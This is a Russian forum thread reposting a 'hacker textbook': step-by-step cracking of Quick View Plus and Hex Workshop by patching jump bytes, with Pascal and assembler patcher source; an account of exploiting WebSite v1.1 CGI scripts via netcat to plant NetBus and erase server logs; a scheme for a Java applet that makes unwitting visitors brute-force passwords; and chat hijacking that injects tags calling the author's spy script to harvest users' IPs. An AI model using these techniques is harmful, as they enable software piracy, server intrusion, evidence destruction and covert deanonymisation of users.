Просто форум - общение на любые темы

Информация о пользователе

Привет, Гость! Войдите или зарегистрируйтесь.



УЧЕБНИК ХАКЕРА

Сообщений 1 страница 6 из 6

1

УЧЕБНИК ХАКЕРА. ТОЛЬКО ДЛЯ ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЕЙ!!!
На этой странице восстановлен текст найденного Вами документа, сохраненный при индексировании.
Внимание! HTML-форматирование текста восстанавливается не полностью.
За содержание документа MegaLib.com ответственности не несет.        Введение

    Перед Вами уникальный в своем роде учебник, который в этом виде выходит впервые! В нем собрана и структурирована вся актуальная на сегодняшний день информация, которая может быть полезна как начинающему так и "бывалому" хакеру. Мы постарались включить сюда самые последние достижения в области хака и крака. В учебнике затрагиваются практические примеры крака программ с использованием наиболее известных дебаггеров, конкретные примеры взлома интернет-сайтов, web-chat'ов. Также можно узнать все про Backdoor ("черный вход") на интернет-сайты требующие предварительной регистрации. В учебник включено руководство Soft -Ice. Все материалы на русском языке!!!

0

2

ВЗЛОМ WINDOWS-ПРИЛОЖЕНИЙ

Для начала я научу вас пользоваться W32Dasm. Я не хочу вам давать детальную помощь, как делать краки, но я могу научить вас самим добывать себе умения и навыки взлома.
Когда вы используете W32Dasm, знайте, что он не даст вам серийные номера или коды, он лишь покажет путь, где находится место, где можно эти номера вводить. То, что я делаю каждый день при взломе программ, будет описано в этом справочнике, шаг за шагом.

ИНСТРУМЕНТЫ :
из инструментов взлома вам нужно следующее : W32Dasm 8.5 или боолее позднюю версию, Hacker's View 5.24, Norton Commander (я позднее объясню, почему я его использую).
Turbo Pascal 7.0
TASM и TLINK 3.0

ЧАСТЬ 1 : Как кракнуть Quick View Plus 4.0

Шаг 1. Запустите ORDER32.EXE

Шаг 2. Кликните на $49 Single User License (вы можете кликнуть и на $59), затем ACCEPT, потом UNLOCK BY PHONE.

Шаг 3. Введите любой код для получения сообщения об ошибке (вы должны записать это сообщение), потом выйдите из программы, кликнув на CANCEL.

Шаг 4. Запустите Norton Comander, перейдите в директорию QVP.

Шаг 5. Скопируйте ORDER32.EXE в ORDER32.EXX (для  сохранности), а затем скопируйте  ORDER32.EXE в 1.EXE
(для    использования в W32Dasm).

Шаг 6. Запустите W32Dasm и раздессимблируйте 1.EXE.

Шаг 7. После этого, кликните на STRING DATA REFERENCE, найдите там сообщение "You have entered an incorrect code.Please check your entry" (вы должны помнить,что это было сообщение об ошибке) и дважды щелкните мышью по нему.

Шаг 8. Закройте SDR окно. Вы должны увидеть сообщение:
            * Possible reference to String Resource ID=00041: "You have entered...
            :004049F8 6A29 push 00000029
            :004049FA FF353CCE4000 push dword ptr [0040CE3C]

Шаг 9. ОК, теперь вы должны найти последнее сравнение типа CMP,JNE, JE,TEST и т.д. перед сообщением об ошибке.
Нажимайте стрелку "вверх", пока не найдете :
            :004049CD 755A jne 00404A29
            * Possible reference to String Resource ID=00032: "You must select...
            :004049CF 6A20 push 00000020
            ...
            ...
            * Possible reference to String Resource ID=00040: "Unlock Error"

Шаг 10. Теперь вы знаете, куда идет скачок при введении неправильного кода. Теперь можно посмотреть, что произойдет, если "jne" на "je". Убедитесь, что зеленая полоска находится на надписи:
               004049CD 755A jne 00404A29, вы должны увидеть  Offset address внизу на статусной строке типа
               @Offset 00003DCDh Это место, где вы можете внести изменения в ORDER32.EXE.

Шаг 11. Перейдите обратно в Norton Commander, запустите HIEW ORDER32.EXE, нажмите  F4 для выбора режима декодирования (Decode Mode), нажмите F5 и введите 3DCD.
               Вы должны увидеть следующее :
               00003DCD: 755A jne 000003E29
               00003DCF: 6A20 push 020
               00003DD1: FF15 call w,[di]

Шаг 12. Это то место, где вы можете изменить байты, нажмите F3, введите 74, нажмите F9 для обновления ORDER32.EXE. Выйдите из HIEW.

Шаг 13. Запустите ORDER32.EXE, введите любой код. Ура ! Мы сломали QVP 4.0 !
Но ! Что будет, если ввести настоящий серийный номер ? Появляется сообщение об ошибке ! Что это ?

Шаг 14. Снова запустиите HIEW ORDER32.EXE, нажмите F4, выберите Decode, нажмите F5  и введите 3DCD. Нажмите F3, введите EB, нажмите F9. Вы прямо "прыгнете" на Unlocked диалог.

ЧАСТЬ 2 : Как кракнуть Hex WorkShop 2.51

Шаг 1. Запустите HWORKS32.EXE

Шаг 2. Кликните на HELP, About HEX Wo..

Шаг 3. Введите любой код, чтобы получить сообщение об ошибке (вы должны записать это  сообщение) и выйдите из программы.

Шаг 4. Запустите Norton Commander, перейдите в директорию HWS.

Шаг 5. Скопируйте файл HWORKS32.EXE в HWORKS32.EXX
(для сохранности) и скопируйте файл HWORKS32.EXE в 1.EXE (для использования в W32Dasm).

Шаг 6. Запустите W32Dasm и "разберите" 1.EXE.

Шаг 7. После этого, нажмите мышью на FIND TEXT, введите
"You have entered an" (вы должны помнить, что это             сообщение об ошибочно введенном серийном номере) и найдите соответствующую строку (вы не сможете сделать это в SDR-окне !)

Шаг 8. Вы должны увидеть следующую строку :
Name: DialogID_0075, # of Controls=003, Caption:
"Registration Unsucce..
001-ControlID:FFFF, Control Class:""Control Text:"You have entered an..
002-ControlID:FFFF, Control Class:""Control Text:"Please confirm you..

Шаг 9. Оk, теперь вы знаете, что ControlID будет использоваться, когда вы введете  неверный код. Кликните FIND TEXT, введите "dialogid_0075" и вы найдете:
            * Possible reference to DialogID_0075
            :0041E233 6A75 push 00000075
            :0041E235 8D8D10FFFFFF lea ecx, dword ptr [ebp+FF10]

Шаг 10. Теперь вы должны поискать последнюю ссылку, типа
CMP, JNE, JE и пр. перед диалогом об ошибке. Нажимайте клавишу "вверх", пока не найдете :
             :0041E145 837DEC00 cmp dword ptr [ebp-14], 00000000
             :0041E149 0F8479000000 je 0041E1C8
             :0041E14F 8B8DFCFEFFFF mov ecx, dword ptr [ebp+FEFC]

Шаг 11. Теперь вам нужно посмотреть, что произойдет, если "je" заменить на "jne". Убедитесь, что зеленая полоска установлена на строке
             :0041E149 0F8479000000 je 0041E1C8.
Вы должны на нижней статусной строке увидеть оффсетный адрес, типа : @Offset0001D549h. Это то место, где вы сможете кракнуть HWORKS32.EXE

Шаг 12. Перейдите обратно в Norton Commander, запустите HIEW HWORKS32.EXE, нажмите F4 для выбора режима декодирования (Decode Mode), нажмите F5 и введите 
              ID549.
              Вы должны увидеть следующее :
              0001D549: 0F847900 je 00001D5C6 ---------- (1)
              0001D54D: 0000 add [bx][si],al
              0001D54F: 8B8DFCFE mov cx,[di][0FEFC]

Шаг 13. Это то место, где вы сможете изменить несколько байтов, нажмите F3, введите  0F85, нажмите F9 для обновления файла HWORKS32.EXE. Выйдите из HIEW.
Шаг 14. Запустите HWORKS32.EXE и введите любой код, работает ? НЕТ !?!??!?!
Хе-хе-хе... Не волнуйтесь ! Снова перейдите в Нортон.
Скопируйте HWORKS32.EXX в HWORKS32.EXE (теперь
вы видите, почему я делаю копию файла с расширением
ЕХХ  для сохранности). Теперь перейдите в W32Dasm, вы
должны перейти туда, где только что были (на 0041У145).

Шаг 15. Нажмите F3 для очередного поиска "DialogID_0075", вы должны найти :
             * Possible reference to DialogID_0075
             :00430ADD 6A75 push 00000075
             :00430ADF 8D8D10FFFFFF lea ecx, dword ptr [ebp+FF10]

Шаг 16. Ok, теперь вы теперь можете посмотреть на последние ссылки, типа CMP, JNE,  JE и т.д. перед диалогом об ошибке. Нажимайте стрелку вверх, пока не найдете :
             :004309EF 837DEC00 cmp dword ptr [ebp-14], 00000000
             :004309F3 0F8479000000 je 00430A72
             :004309F9 8B8DFCFEFFFF mov ecx, dword ptr [ebp+FEFC]

Шаг 17. Теперь вы можете посмотреть, что произойдет, если "je" заменить на 'jne". (это должно сработать). Переместите
полоску на :004309F3 0F8479000000 je 00430A72. На статусной строке внизу экрана вы  должны следующее:
@Offset0002FDF3h (оффсетный адрес). Это то место, где
вы сможете кракнуть HWORKS32.EXE.

Шаг 18. Перейдите в Norton Commander, запустите HIEW
HWORKS32.EXE, нажмите F4 для  выбора Decode Mode
(ASM), нажмите F5 и введите 2FDF3. Вы должны увидеть:
             0002FDF3: 0F847900 je 00001D5C6 ---------- (1)
             0002FDF7: 0000 add [bx][si],al
             0002FDF9: 8B8DFCFE mov cx,[di][0FEFC]

Шаг 19. Это то место, где вы сможете изменить несколько байтов, нажмите F3, введите  0F85, нажмите F9 для обновления файла HWORKS32.EXE. Выйдите из HIEW.
Шаг 20. Запустите снова HWORKS32.EXE и введите любой код. Работает ? Виола !!!  Поздравляю !!! Вы кракнули HEX
WorkShop 2.51 !

ЧАСТЬ 3 :Как сделать собственный патч

Здесь напечатан исходный код на Паскале :

    ------------------------<cut here>-------------------------------------------
Uses Crt;

Const A: Array[1..1] of Record {<-------- 1 byte to be patched}
A : Longint;
B : Byte;

End =
((A:$3DCD;B:$EB)); {<--------------- offset "3DCD" and byte "EB" to be changed}

Var Ch:Char;
I:Byte;
F:File;
FN:file of byte;
Size:longint;

Begin
Writeln('TKC''s Little Patch');writeln('Crack for QVP 4.0 by TKC/PC ''97');
Assign(F,'ORDER32.EXE'); {<-------------- filename to be patched}
{$I-} Reset(F,1); {$I+}
If IOResult <> 0 then
begin
writeln('File not found!');
halt(1);
end;
For I:=1 to 1 do {<---------------------- 1 byte to be patched}

Begin
Seek(F,A[i].A);
Ch:=Char(A[i].B);
Blockwrite(F,Ch,1);
End;
Writeln('File successfully patched!');
End.
------------------------<cut here>-------------------------------------------

Here's the source code for Assembler:

------------------------<cut here>-------------------------------------------
DOSSEG
.MODEL SMALL
.STACK 500h
.DATA
.CODE
PatchL EQU 6
Buffer Db PatchL Dup(1)
handle dw ?
intro db "TKC's Little Patch",0dh,0ah,"Crack for QVP 4.0 by TKC/PC '97$"

FileName db "ORDER32.EXE",0 ;<------- filename to be patched
notfound db 0dh,0ah,"File not found!$"
cracked db 0dh,0ah,"File successfully patched. Enjoy!$"
Cant db 0dh,0ah,"Can't write to file.$"
Done db "File has been made.$"
String db 0EBh,0 ;<------------- byte "EB" to be patched

START:
mov ax,cs
mov ds,ax
mov dx,offset intro ;point to the time prompt
mov ah,9 ;DOS: print string
int 21h
jmp openfile

openfile:

mov ax,cs
mov ds,ax
mov ax,3d02h
mov dx,offset FileName
int 21h
mov handle,ax
cmp ax,02h
je filedontexist
jmp write

filedontexist:
mov ax,cs
mov ds,ax
mov dx,offset notfound
mov ah,9 ;DOS: print string
int 21h ;display the time prompt
jmp exit

Write:
mov bx,handle
mov cx,0000h
mov dx,3DCDh ;<------------- offset "3DCD"
mov    ax,4200h
int 21h

mov cx,patchl
mov dx,offset String
mov ah,40h
mov cx,01h
int 21h
mov ax,cs
mov ds,ax
mov dx,offset cracked
mov ah,9 ;DOS: print string
int 21h ;display the time prompt
jmp Exit

Exit:
mov ah,3eh
int 21h
mov ax,4c00h
int 21h
END START
--------------------------<cut here>-----------------------------------------

Заключительные слова :

Здесь несколько важных функций, используемых для крака :

Hex: Asm: Means
75 or 0F85 jne jump if not equal
74 or 0F84 je jump if equal
EB jmp jump directly to
90 nop no operation
77 or 0F87 ja jump if above
0F86 jna jump if not above
0F83 jae jump if above or equal
0F82 jnae jump if not above or equal
0F82 jb jump if below
0F83 jnb jump if not below
0F86 jbe jump if below or equal

0F87 jnbe jump if not below or equal
0F8F jg jump if greater
0F8E jng jump if not greater
0F8D jge jump if greater or equal
0F8C jnge jump if not greater or equal
0F8C jl jump if less
0F8D jnl jump if not less
0F8E jle jump if less or equal
0F8F jnle jump if not less or equal

Ваши небольшие знания по Ассемберу, вам, естественно, помогут, и они вам потребуются для использования Soft-ICE. Кроме того, вы сможете кракать эти куски с помощью  W32Dasm как маньяк :-) Вы не сможете дизассемблировать программы на Visual Basic, для него вам понадобятся специальные декомпилеры.

Удачи !

0

3

Взлом WWW-сервера на основе WebSite v1.1x

Начало.

Как-то на HackZone я встретил заметочку о том, что взломан web-сервер фирмы IdSoftware с помощью стандартных примеров скриптов, идущих в поставке с WebSite'ом, - args.bat и uploader.exe. А так как в нашем университете довольно много www серверов на основе WebSite (ну если штук 5-6 это много), то я решил вплотную занятся ими :)

Итак, взлом осуществляется через стандартные примеры, идущие в поставке с web-сервером, а так как люди еще не сильно задумываются о защите своего сайта, считая это не очень большой проблемой, и часто оставляют все на Авось, то просто ставят WebSite, ничего не предпринимая для его настройки и обеспечения достаточной защиты. Все пять найденных мной сайтов под управлением WebSite v1.1 имели лазейку, описанную ниже, которая обеспечивала почти полный доступ к машине, на которой они находились, в том числе и мой :)

Необходимое.

Как у нас ставят WebSite? Просто давят кнопку Install, и потом прога говорит, что web-сервер поставлен. Люди находят, где находится корень web-сайта, закачивают туда свою информацию, и все так и живет, пока не наступает время дельта Тэ (с) Zeus. Что же появляется в таком состоянии? По умолчанию отображается (мапится, mapping) куча ненужных для работы сервера каталогов /java/, /publish/, /wsdocs/, /cgi-dos/, /cgi-win/. Конечно, в какой-то момент времени они, возможно, и понадобятся, но вначале они просто не нужны. Это с одной стороны, с другой стороны создателям WebSite со всех сторон нужно показать возможности этого сервера, что они с успехом и делают, открывая потециальные дырки в защите web сайта и заполняя эти каталоги разнообразными примерами, так радующими глаз потенциального взломщика.

Сперва я поставил себе на машину WebSite v1.1f в дефолтовой конфигурации и приступил к исследованию его на дырки.

Задача перед нами стоит такая: закачать на ломаемый сервер какое-нибудь средство удаленного администрирования и управления типа ВО или NetBus и запустить его (я использовал по-быстрому найденный в нашей локалке NetBus v1.6 с именем файла серверной части Patch.exe).

Этап закачки для нас не представлял никакого интереса т.к. по умолчанию WebSite позволяет удаленно запустить /cgi-win/uploader.exe и закачать кому угодно что угодно. В принципе, так даже можно положить эту самую НТ: закачивать туда всякой фигни, пока место на диске не кончится. Скорей всего, тут ей кранты и придут - это если WebSite стоит на том же диске, где стоит система или валяется своп-файл (но я в этих вопросах не сильно силен, пусть меня поправят более знающие люди, да и речь сейчас не об этом).

Вторым этапом является выяснение месторасположения каталога с WebSite'ом. Это делается тоже отчень легко, просто удаленно запускаем файл /cgi-dos/ args.bat, на что нам в ответ приходит сообщение типа

Empty output from CGI program D:/WebSite/cgi-dos/args.bat

, что однозначно определяет каталог с WebSite'ом. Тогда отображаемый каталог /cgi-dos/ будет находится в каталоге D:/WebSite/cgi-dos/, а путь к файлу Patch.exe, который мы закачиваем будет D:/WebSite/UploadS/Patch.exe

Итак, момент к которому мы подошли - это исследование на предмет возможности запуска файла, который мы закачали. Почитывая разные статьи по этому поводу, например, выяснилось, что у web-сервера Apache есть уязвимость на счет тестовых скриптов /cgi-bin/test-cgi и /cgi-bin/nph-test-cgi, которые аналогичны присутствующему в WebSite примеру Args.bat. Эта уязвимость заключается в том, что возможна распечатка передаваемой строки в таком виде, в каком она присутствует, и это обычно делается строчкой скрипта

echo QUERY_STRING = $QUERY_STRING

т.е. если мы передаем строчку типа "> 1.bat", то по логике вещей строчка "QUERY_STRING =" будет перенаправлена в файл 1.bat, путь к этому файлу мы могли бы указать на каталог /cgi-bin/, он бы туда записался, и далее уже удаленно мы могли бы его запустить из этого каталога. В args.bat находится строчка

echo QUERY_STRING="%QUERY_STRING%" >> %of%

т.е. кто не слеп и видит, что строчка, передаваемая нами заключена в кавычки, и все, что мы надумали, просто-напросто обламывается. Обламывается-то обламывается, но все дело в том, что мы можем засылать специальные непечатные символы типа CR (код 0dh), LF( код 0ah). Улавливаете? :) Появление таких символов в командной строке приведет к переводу строки в скрипте и вполне возможно, что следущей строчкой вдруг ни с того ни с сего окажется наш файл лежащий в каталоге /uploads/ . Уф, такие мысли просто будоражат кровь! :)

Так, сейчас мы ее маленько остудим, рассмотрев немного теории, поясняющей как запускаются .bat скрипты на web сервере на основе WebSite. :)

При обработке bat-скрипта во временном каталоге WebSite /cgi-temp/ создаются 4 файла xxxxx.acc, xxxxx.bat, xxxxx.inp, xxxxx.out. Нам в глаза сразу бросается файл xxxxx.bat. Так, при удаленном запуске /cgi-dos/args.bat получается такой файл xxxxx.bat:

@ECHO OFF&&TITLE WebSite CGI
D:\WebSite\cgi-dos\args.bat D:\WebSite\cgi-temp\xxxxx.out

если этому .bat файлу кинуть в командной строке аргументов, например, /cgi-dos/args.bat?africa.bat, то получим xxxxx.bat:

@ECHO OFF&&TITLE WebSite CGI
D:\WebSite\cgi-dos\args.bat africa.bat D:\WebSite\cgi-temp\xxxxx.out

Кто знает, что такое перенаправление потока данных (значки ">" и "<"), сразу поймет, что здесь к чему. По-простому, WebSite создает временный xxxx.bat файл, результаты деятельности которого перенаправляются в файл xxxxx.out. Этот файл xxxxx.out отдается удаленному клиенту результатом работы скрипта, если в работе скрипта не произошло ошибки. Во временных файлах вместо символов xxxxx подставляется случайная последовательность символов.

Запускаем вот так /cgi-dos/args.bat?>d:/Website/cgi-shl/1.bat получаем xxxxx.bat:

@ECHO OFF&&TITLE WebSite CGI
D:\WebSite\cgi-dos\args.bat africa.bat ^>D:/WebSite/cgi-shl/1.bat D:\WebSite\cgi-temp\xxxxx.out

Видите, как нехорошо поступил WebSite - перед символом перенаправления ">" поставил какую-то гадость "^", от которой всякое перенаправление перестает быть перенаправлением. Если немного помучится, то можно выяснить, что эта фигня ставится перед символами >,<и |. Кстати, если залезть внутрь исполняемого файла сервера httpd32.exe, то вы увидите как раз стоящие отдельной группой данные символы. Обломс!

Как я уже писал выше, мы можем в командную строку вставлять спецсимволы, делается это так %0a. "%" - символ, говорящий о том, что следующие за ним два символа являются шестнадцатиричным представлением передаваемого в командной строке символа.

Запускаем /cgi-dos/args.bat?%0d%0aafrica.bat. Получаем xxxxx.out:

@ECHO OFF&&TITLE WebSite CGI
D:\PROGRA~1\WebSite\cgi-dos\args.bat

africa.bat D:\WebSite\cgi-temp\xxxxx.out

Вот тут я подумал что они попали :), но жестоко обманулся! :( По моим мыслям, сначала управление передастся их батчику, а потом моему исполняемому файлу, который я закачал в /uploads/. Меня жестоко обманули, управление, переданное файлу args.bat, там и оставалось. Моему файлу africa.bat оставалось лишь смотреть, как управление было всего в одной строчке сверху его! :)

Cнова думаем! Вернемся к перенаправлению, если забивать много много перенаправлений типа ">", то вполне возможно, что в какой-то момент времени на каждый значок ">" не хватит значка "^", так как вполне возможно, что буфер у WebSite не резиновый. :) Стандартными средствами тут я уже обходится не мог, так как не мог ввести слишком много значков в строке адреса Internet Explorer'a, поэтому пришлось воспользоваться программой NetCat v1.10 for NT, ох и рульная же это вещица, при всем при том, что о большинстве функций я вообще не знаю, для чего они нужны. В моем случае она просто брала из файла запрос и отсылала его серверу.

nc.exe -v ИмяЛомаемогоСервера 80

Zapros.txt:
GET /cgi-dos/args.bat?>>>>>>>>>>....>>>africa.bat

Вот такой файл, где значков ">" около 700 штук после запуска NetCat'a с такими параметрами у меня повесил WebSite :) Хорошенькая нашлась фича, и, главное, обнаружилась фича, что если число значков равно 512, то вместо строк в темповом батчике xxxxx.bat

@ECHO OFF&&TITLE WebSite CGI D:\PROGRA~1\WebSite\cgi-dos\args.bat?^>^>^>^>...^>^> africa.bat D:\WebSite\cgi-temp\xxxxx.out

Получается файл xxxxx.bat:

@ECHO OFF&&TITLE WebSite CGI africa.bat^>^>^>^^>^>^>^^>^>^>^^>^>^>^....^>^>^>^^>^>^>^^>^>^>^ D:\WebSite\cgi-temp\xxxxx.inp > D:\WebSite\cgi-temp\xxxx.out

Классное переполнение буфера получилось!!!!! Затем я после africa.bat поставил символы перевода строки 0dh,0ah (%0d%0a) и africa.bat поменял на regedit.exe, запустил NetCat, и что бы вы думали, у меня получилось? :) Угу, запустился regedit!!!!

Я еще немного потренировался, и выяснилось, что она не хочет, или не желает пускать програмки с длинными именами и с длинными путями к ним. Хорошо, что Website, где я его встречал, стоит прямо в корне, и доступ к каталогу /uploads/ получаем без проблем. И еще хорошо, что я начал с символа ">", если подставлять другие нормальные символы типа буковок или циферок, то WebSite на это никак не реагирует, просто не принимает их, если их довольно большое количество, и выдает ошибку, если они все поместились в буфер.

Ну, вот так я запустил на другой машинке NetBus, и дальше уже дело техники (почти).

Выкачиваем все нужное с Хакнутой машины. Закачиваем в каталог /cgi-shl/ с помощью NetBus'а еще одну копию серверной части этого самого NetBus'a под каким-нибудь дурацким именем. Я, например, закачиваю под именем win-c-example.exe т.к. он в этом каталоге уже есть, только соответственно старый файл нужно убить. Убиваем логи сервера access.log, error.log, upload.log. Вы думаете их просто убить? =) Фиг там, WebSite держит их открытыми, тут-то нам и пригодится умение ронять WebSite обнаруженный в начале нашего исследования. т.е. роняем WebSite, и только затем удаляем все логи. Нехорошо, если после нас в каталоге /uploads/ останется бяка в виде серверной части NetBus'a, ее нужно убить, но увы, она держится системой открытой поэтому мы просто перезагружаем всю машинку с WebSite'ом, перед этим сказав NetBus'у "Remove Server". Вот эта часть плана у меня не очень чисто проходила, в NetBuse я использовал и Reboot и Shutdown, и все равно удаленный сервер сам по себе не поднимался, не знаю почему, а пробовать на своей машине было влом. Тем не менее когда-нибудь ту машинку поднимали, считая что Винда это Сакс, и он сам может из-за пылинки вылететь в даун. Когда сервер снова поднялся, быстренько из /cgi-shl/ запускаем снова Netbus и чистим /uploads/ (Позже я выяснил, что NetBus копирует себя в системный каталог операционнки, и оттуда загружается в следующий раз, поэтому описанные действия немного неточны, и необходимо просто перезагрузить сервер)

Фу! Ну вот и все, дальше все ясненько, можно ломать дальше, отслеживая пароль Administrator'a т.к. обычно на тех тачках, где весит WebSite, находится и PDC (Primary Domain Controler). Можно, балуясь NetBus'ом, создать ситуацию, когда Administrator будет вынужден подойти к своему детищу и набрать заветное слово, которое нам и покажет Netbus :) Короче, все остальное лирика.

Был произведен "дружественный взлом" двух серверов, выкачана с них нужная информация, ну и затем сообщено о существующей дырке. В WebSite v2.xxx эта дыра закрыта, так как отсутствует каталог /cgi-dos, но присутствуют другие файлы типа guestbook, которая позволяет писать тэги, плюс присутствуют сырцы этих файлов, что меня очень радует и дает возможность заниматься таким интересным делом! :)

0

4

Некоторые аспекты атаки по словарю

Всем известна старая атака по словарю. А так же ее дополнение ( имеется в виду атака с нескольких машин ). В общем случае это выглядит так :
1. Клиент(далее Crk-client) обращается к серверу(далее Crk-server) за очередной порцией паролей
2. Crk-server помечает эту порцию как находящуюся в работе
3. Crk-client пробует все пароли из этой порции .
а) Если один из них подошел , отправляется сообщение на Crk-server, и на этом заканчиваем перебор.
б) Если нет то Crk-client отсылает на Crk-server сообщение об окончании перебора и берет новую порцию.
в) Если соединение разрывается по ошибке или Crk-client завис, то он ,естественно ,ничего не отправляет.
4. Crk-server получает сообщение об окончании перебора ( см.3б ), тогда эта порция удаляется как уже обработанная . Или , по time-out'у , Crk-server помечает эту порцию как необработанную ( см.3в )

Теперь непосредственно сама идея.

Рассмотрим например chat.ru(далее сервер). Он предоставляет следующие виды сервиса :
1. Размещение страниц
2. Почту ( как POP3 , так и SMTP )
и т.д. ( остальное нас не интересует)

Рассмотрим как можно организовать перебор пароля на ЛЮБОЙ сервис данного сервера.

Crk-client можно написать в виде апплета на яве и положить апплет на сервер. Это делается для того , что бы перебором паролей занимались посетители этой страницы ( даже не подозревая об этом ). В логах сервера перебор будет разнесен во времени и пространстве, т.е. попытки будут происходить через неравные промежутки времени и из разных мест. И к тому же невозможно будет определить кто же в действительности подбирает пароль.

Этот апплет может коннектиться только с тем сервером откуда он был загружен (chat.ru). Нам это и нужно.

Проблема в следующем: как разместить на сервере Crk-server ? Очевидно , что это не получится . Покажем как можно обойтись без Crk-server'а ...

Регистрируем два аккаунта(далее WordList и TMP) на сервере, размещаем HTML-страничку с апплетом Crk-client, а словарь ложим в почтовый ящик (WordList) на сервере. Словарь необходимо разбить на порции , например по 20 паролей. При этом каждая порция лежит отдельным письмом. Crk-client при запуске, обращается на WordList по протоколу POP3 и берет первое-же письмо ( удаляя его с WordList , но отсылая его по SMTP на TMP). Далее Crk-client начинает перебор. Если пароль успешно найден, отправляем его по SMTP себе :)) Если перебор завершился впустую , удаляем из TMP эту порцию . Здесь может возникнуть проблемма , когда одновременно работают несколько клиентов. Но "свою" порцию можно найти используя команду POP3 TOP msg n.

Если Crk-client не доработал из-за ошибки , то эта порция не потеряется и ее можно переместить из TMP в WordList . Делать это придется или вручную ( что нежелательно ) или возложить эту функцию на Crk-client. Тут возникает еще одна проблема, как отличить в TMP порции которые обрабатываются сейчас от тех которые надо переместить в WordList . Для этого нужно анализировать дату отправки порции и текущее время. Если разница порядка часа , то эту порцию перемещаем в WordList.

Скорость перебора зависит от качества связи с сервером и от количества посетителей этой странички. Как сделать страничку посещаемой - тема для отдельной статьи :)))

Сейчас я работаю над реализацией этого алгоритма. Пока что это только теория. В процессе работы возникло сомнение , а может ли апплет работать с почтовыми протоколами ? Оказалось, может.

Теперь немного о применение вышеописанного. На первый взгляд может показаться , что это работает только для халявных серверов , но это не так. Это работает и для серверов провайдеров , если только HTTP , POP3 и SMTP ослуживаются одной машиной.

P.S. С некоторыми изменениями, этот алгоритм можно использовать для серверов которые предоставляют только HTTP. Правда для этого сервер должен поддерживать методы DELETE и PUT , ну и GET , естественно.

0

5

"взломах" html-чатов

Я предполагаю, что читатель знает, что такое CGI, и на этом построю своё объяснение.

Начал я с малого.

В любом чате фрейм, в котором ты пишешь сообщения, генерится динамически (для каждого входящего) и, возможно, содержит несколько скрытых полей. Типа <input type=hidden name=cookie value=SP202134> (так в партизанах хранится UserID)

Идея в следующем: сохраняем содержимое этого фрейма на диске и исправляем его так, что бы можно было с ним работать со своего винта. Т.е. заменяем ссылки типа /cgi-bin/refresh.pl на полный путь www.chat.nsk.su/cgi-bin/refresh.pl и вместо скрытых полей формы пишем типа <input type=text name=cookie value=SP202134> (что бы можно было их изменять) После этого делаем HTML документ для "сборки чата" из кусков. Т.е. примерно так

   "First.htm"
<html>
<frameset rows="80%,20%">
   <frameset cols="70%,30%">
    <frame name="razg" src="http://www.chat.nsk.su/cgi-bin/refresh.cgi?win+razgovor+nocookie#end">
    <frame name="rigt" src="http://www.chat.nsk.su/right.html">
   </frameset>
   
   <frame name="bot" src="start.htm">
</frameset>
</html>

Start.htm - это и есть тот фрейм который я сохранил и изменил

После этого я просто броузером открывал эту страницу (First.htm). И сразу(!!!) попадал в чат, минуя стандартную процедуру входа. Это позволило :
1. Обходить зарегистрированные имена
2. Прятать свой IP от киллеров, за счет взятия чужого ID'a

Дальше мне стало интересно вычислить IP участников. Я обнаружил, что не запрещён тэг <bgsound src="">. Это позволило вставлять в своё сообщение ресурс со своей машины. Сам по себе звук на хер не нужен, но этот косяк позволил вставить в свой месс строку типа <bgsound src="http://MyIP/cgi-bin/spy.exe">. Этот скрипт (spy.exe) вызывался с машины КАЖДОГО участника чата. Это позволило увидеть IP всех (скрипт просто сохранял мне на винт данные из переменной окружения REMOTE_ADDR). Это мне не очень понравилось, тк не понятно было где чей IP. Примерно в это-же время в чате появились приваты. Это значит, что документ в главном фрейме (тот где мессы все) стал называться по другому.

До приватов :
http://www.chat.nsk.su/cgi-bin/refresh.cgi?win+razgovor#end

После появления приватов :
http://www.chat.nsk.su/cgi-bin/refresh.cgi?win+razgovor+SP345678#end

Где SP456789 - UserID

После этого в скрипт (spy.exe) был добавлен вывод ID'a из переменной окружения HTTP_REFERER Ну а сопоставить ник с ID'ом не проблемма, тк ID каждого прописан там же примерно в такой строке

   <br><b><font color=yellow size=-1>Тут ник</font></b>
   <font color=black><a href="/cgi-bin/private_form.cgi?SP448188">
   <img src=/img/mes.gif border=0 vspace=0></a></font>

(Это строка взята из правого фрейма, где можно вызвать функцию "Кто в чате")

После этого перестало быть проблемой сопоставление ника и IP. Затем я решил позабавиться с приватами.

Используя метод сохранения странички на винт (описанный выше), я получил форму для отправления приватов от КОГО-ТО КОМУ-ТО. Т.е. я смог в отсылаемом приватно сообщении проставлять имя отправителя.

Осталось только одно. Я знал, что в чате есть киллеры, но ничего не знал про то, что это, где это, как это. Знал только, что для того, чтобы киллерствовать надо зайти на какую-то страничку. Очевидно, что в этой киллерской страничке показываются имена. Я предположил, что моё имя показываются таким, каким я его ввожу. Исходя из этого, я под именем <bgsound src="http://MyIP/cgi-bin/spy.exe"> MyNick зашел в чат (через прокси), и начал легонько ругаться (мне надо было, чтобы киллеры зашли на свою страничку). После этого (когда меня убили) я разгреб лог моего ВебСервера (OmniHTTPd beta) и увидел там обращение со страници не относящейся к известным мне страницам чата. Я полез на эту страницу и получил запрос на ввод пароля, со словами "Дорогой администратор...". Это приятно согрело душу. Дальше я начал думать, то ли подобрать пароль, то ли ещё что придумать. Но ситуация так сложилась, что я оказался в одной сети с киллером, и, запустив сниффер, я поимел пароль.

Ну вот и все. Электронный адрес материала:
MegaLib.com/ ИНТЕРНЕТ ТЕХНОЛОГИИ/ Безопасность/    http://megalib.com/books/868/index.htm

0

6

Татьяна написал(а):

ТОЛЬКО ДЛЯ ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЕЙ!!!

Ага, для образавательных, а за это уже есть статейка... хотя вообще, почитать интирессно))

0



Создать форум. Создать магазин